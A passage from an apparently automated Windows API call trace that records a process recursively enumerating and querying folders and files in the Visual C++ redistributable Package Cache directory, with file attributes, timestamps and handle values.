ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.741] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfe3882c0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.741] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="")) returned 1 [0092.741] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="")) returned 0 [0092.741] GetLastError () returned 0x12 [0092.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.741] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.741] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="")) returned 1 [0092.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.742] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.743] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.743] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.743] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.744] NtClose (Handle=0x184) returned 0x0 [0092.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.745] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9200 [0092.746] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.746] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.746] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.746] GetLastError () returned 0x12 [0092.746] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.746] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.746] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.746] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.747] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.747] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.747] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.748] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.748] NtClose (Handle=0x184) returned 0x0 [0092.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.750] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.750] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.750] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 1 [0092.750] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 0 [0092.750] GetLastError () returned 0x12 [0092.750] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.750] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.750] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.750] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 1 [0092.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.751] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.751] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.751] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.752] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.752] NtClose (Handle=0x184) returned 0x0 [0092.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.753] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.754] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.754] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a2800, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x969a2800, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x969a2800, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ff30 [0092.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9338 [0092.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370038 [0092.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.756] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 1 [0092.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ff30) returned 1 [0092.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9358 [0092.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1254f88 [0092.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.759] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 0 [0092.759] GetLastError () returned 0x12 [0092.759] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.759] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.759] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.759] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a2800, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x969a2800, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x969a2800, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.759] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 1 [0092.759] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 0 [0092.759] GetLastError () returned 0x12 [0092.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f6f0) returned 1 [0092.759] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.760] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 0 [0092.760] GetLastError () returned 0x12 [0092.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 